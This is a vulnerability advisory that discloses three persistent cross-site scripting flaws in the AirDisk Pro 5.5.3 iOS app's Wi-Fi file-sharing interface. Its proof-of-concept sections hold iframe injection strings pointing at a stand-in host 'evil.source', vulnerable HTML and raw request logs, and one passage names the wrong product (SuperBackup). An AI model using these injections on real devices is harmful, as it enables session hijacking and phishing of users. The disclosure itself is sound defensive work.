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# Title: AirDisk Pro 5.5.3 for iOS - Persistent Cross-Site Scripting
# Author: Vulnerability Laboratory
# Date: 2020-04-15
# Vendor: http://www.app2pro.com
# Software Link: https://apps.apple.com/us/app/airdisk-pro-wireless-flash/id505904421
# CVE: N/A

Document Title:
===============
AirDisk Pro v5.5.3 iOS - Multiple Persistent Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2203


Release Date:
=============
2020-04-15


Vulnerability Laboratory ID (VL-ID):
====================================
2203


Common Vulnerability Scoring System:
====================================
4.5


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
File sharing with other iOS devices via Bluetooth or Wi-Fi connection
with automatic search of nearest devices.
Users can perform file operations on the application like: Copy, Move,
Zip, Unzip, Rename, Delete, Email, and more.
Easy to create file like: Text File, New folder, Playlist, Take
Photo/Video, Import From Library, and Voice Record.
AirDisk Pro allows you to store, view and manage files on your iPhone,
iPad or iPod touch. You can connect to AirDisk
Pro from any Mac or PC over the Wi-Fi network and transfer files by drag
& drop files straight from the Finder or Windows
Explorer. AirDisk Pro features document viewer, PDF reader, music
player, image viewer, voice recorder, text editor, file
manager and support most of the file operations: like delete, move,
copy, email, share, zip, unzip and more.

(Copy of the Homepage:
https://apps.apple.com/us/app/airdisk-pro-wireless-flash/id505904421 )
(Copy of the Homepage: http://www.app2pro.com )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
persistent web vulnerabilities in the AirDisk Pro v5.5.3 ios mobile
application.


Affected Product(s):
====================
Felix Yew
Product: AirDisk Pro v5.5.3 (iOS)


Vulnerability Disclosure Timeline:
==================================
2020-04-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
No authentication (guest)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
Multiple persistent cross site scripting vulnerability has been
discovered in the official SuperBackup v2.0.5 ios mobile application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise the mobile
web-application from the application-side.

The first vulnerability is located in the `createFolder` parameter of
the `Create Folder` function. Attackers are able to name
or rename paths via airdisk pro ui to malicious persistent script codes.
Thus allows to execute the persistent injected script
code on the front site of the path index listing in the content itself
on each refresh. The request method to inject is POST
and the attack vector is located on the application-side. Interaction to
exploit is as well possible through the unauthenticated
started ftp service on the local network.

The second vulnerability is located in the `deleteFile` parameter of the
`Delete` function. The output location with the popup
that asks for permission to delete, allows to execute the script code.
The injection point is the file parameter and the execution
point occurs in the visible delete popup with the permission question.
The request method to inject is POST and the attack vector
is located on the application-side.

The third web vulnerability is located in the `devicename` parameter
that is displayed on the top next to the airdisk pro ui logo.
Remote attackers are able to inject own malicious persistent script code
by manipulation of the local apple devicename information.
The injection point is the devicename information and the execution
point occurs in the file sharing ui panel of the airdisk pro
mobile web-application.

Remote attackers are able to inject own script codes to the client-side
requested vulnerable web-application parameters. The attack
vector of the vulnerability is persistent and the request method to
inject/execute is POST. The vulnerabilities are classic client-side
cross site scripting vulnerabilities. Successful exploitation of the
vulnerability results in session hijacking, persistent phishing
attacks, persistent external redirects to malicious source and
persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] AirDisk pro Wifi UI

Vulnerable Parameter(s):
[+] createFolder
[+] deleteFile
[+] devicename


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by
remote attackers with wifi access with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


1. Create Folder

PoC: Vulnerable Source
<tbody>
<form name="checkbox_form"></form>
<tr><td class="e"><input type="checkbox" name="selection"
value="test"></td><td class="i"><a href="test/"><img
src="/webroot/fileicons/folder.png"
width="20" height="20"></a></td><td class="n"><a
href="test/">test</a></td><td class="m">11 Apr 2020 at 12:35</td><td
class="s"></td><td class="k">Folder</td>
<td class="e"><span style="height:15px;
width:15px;">&nbsp;</span></td><td class="e"><a href="#" title="Rename
file" onclick="modalPopup("test", 0, 0);">
<img src="/webroot/webrename.png" width="15" height="15"></a></td><td
class="e"><a href="#" title="Delete file"
onclick="modalPopup("test", 2, 0);">
<img src="/webroot/webdelete.png" width="15"
height="15"></a></td></tr><tr class="c"><td class="e"><input
type="checkbox" name="selection"
value="test%3E%22%3Ciframe%20src=a%3E"></td><td class="i"><a
href="[MALICIOUS INJECTED SCRIPT
CODE!]test%3E%22%3Ciframe%20src=evil.source%3E/">
<img src="/webroot/fileicons/folder.png" width="20"
height="20"></a></td><td class="n">
<a href="[MALICIOUS INJECTED SCRIPT
CODE!]test%3E%22%3Ciframe%20src=evil.source%3E/">test>"<iframe
src="evil.source"></a></td>
<td class="m">11 Apr 2020 at 13:01</td><td class="s"></td><td
class="k">Folder</td><td class="e"><span style="height:15px;
width:15px;">&nbsp;</span></td><td class="e">
<a href="#" title="Rename file"
onClick="modalPopup("test%3E%22%3Ciframe%20src=evil.source%3E&quot[MALICIOUS
INJECTED SCRIPT CODE!];, 0, 1);">
<img src="/webroot/webrename.png" width="15" height="15"/></a></td><td
class="e">
<a href="#" title="Delete file"
onClick="modalPopup("test%3E%22%3Ciframe%20src=evil.source%3E&quot[MALICIOUS
INJECTED SCRIPT CODE!];, 2, 1);">
<img src="/webroot/webdelete.png" width="15"
height="15"/></a></td></tr><tr><td class="e"><input type="checkbox"
name="selection" value="Help.webarchive" /></td>
<td class="i"><a href="Help.webarchive"><img
src="/webroot/fileicons/webarchive.png" width="20"
height="20"></a></td><td class="n">
<a href="Help.webarchive">Help.webarchive</a></td><td class="m">6 Dec
2019 at 05:22</td><td class="s">13.7 KB</td><td class="k">Safari Web
Archive</td>
<td class="e"><a href="#" title="Download file"
onClick="downloadFile("Help.webarchive");"><img
src="/webroot/webdownload.png"
width="15" height="15"/></a></td><td class="e"><a href="#" title="Rename
file" onClick="modalPopup("Help.webarchive", 0, 2);">
<img src="/webroot/webrename.png" width="15" height="15"/></a></td><td
class="e"><a href="#" title="Delete file"
onClick="modalPopup("Help.webarchive", 2, 2);"><img
src="/webroot/webdelete.png" width="15" height="15"/></a></td></tr>
</form>
</tbody>
</table>
</div>


--- PoC Session logs [POST] ---
http://localhost:80/
Host: localhost:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: http://localhost:80
Connection: keep-alive
Referer: http://localhost:80/
Upgrade-Insecure-Requests: 1
createFolder=test>"<[MALICIOUS INJECTED SCRIPT
CODE!]>&ID=0&submitButton=Create
-
POST: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 6257

Note: Adding via ftp on mkdir or file is as well possible without
authentication on default setup.



2. Delete / Old Popup

PoC: Vulnerable Source
<div id="modal-content" class="simplemodal-data" style="display: block;">
	<div id="modal-title"><h3>Delete File</h3></div>
	<div id="modal-text"><a>Are you sure you want to delete this
file?"test"</a></div>
	<form name="input" action="" method="post">
	<div id="modal-field"><input type="hidden" name="deleteFile"
value="test"<iframe src="evil.source">[MALICIOUS INJECTED SCRIPT
CODE]"></div>
	<input type="hidden" name="ID" id="ID" value="test">
	<input type="submit" name="submitButton" id="submitButton" value="Delete">
	</form>
</div>


--- PoC Session logs [POST] ---
http://localhost:80/
Host: localhost:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://localhost:80
Connection: keep-alive
Referer: http://localhost:80/evil.source
Upgrade-Insecure-Requests: 1
deleteFile=New Folder&ID=New Folder&submitButton=Delete
-
POST: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 4699


Note: Comes up when somebody tries to delete the malicious injected path.


3. Devicename


PoC: Vulnerable Source
<div id="headerWraper">
	<table border="0" cellspacing="0" cellpadding="0" width="100%">
	  <tr>
	    <td><a href="./"><img src="/webroot/webicon.png" id="headerImg"
width="57" height="57"/></a></td>
	    <td><h2>[MALICIOUS INJECTED SCRIPT CODE AS DEVICENAME]</h2></td>	
	  </tr>
    </table>
</div>


--- PoC Session logs [GET] ---
http://localhost:80/
Host: localhost:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://localhost:80
Connection: keep-alive
Referer: http://localhost:80/evil.source
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 4612

Note: Executes each time the wifi sharing ui service of airdisk pro is
opened by the local or remote users.


Solution - Fix & Patch:
=======================
1. Disallow special chars in the folder and filenames. Sanitize all
inputs and filter all involved parameters to  prevent application-side
attacks.
2. Parse the output location of the popup permission message content to
prevent further executions after injects via post method.
3. Sanitize the devicename displayed on top of the wifi user interaction
by a secure parsing mechanism.


Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities
in the application functions are estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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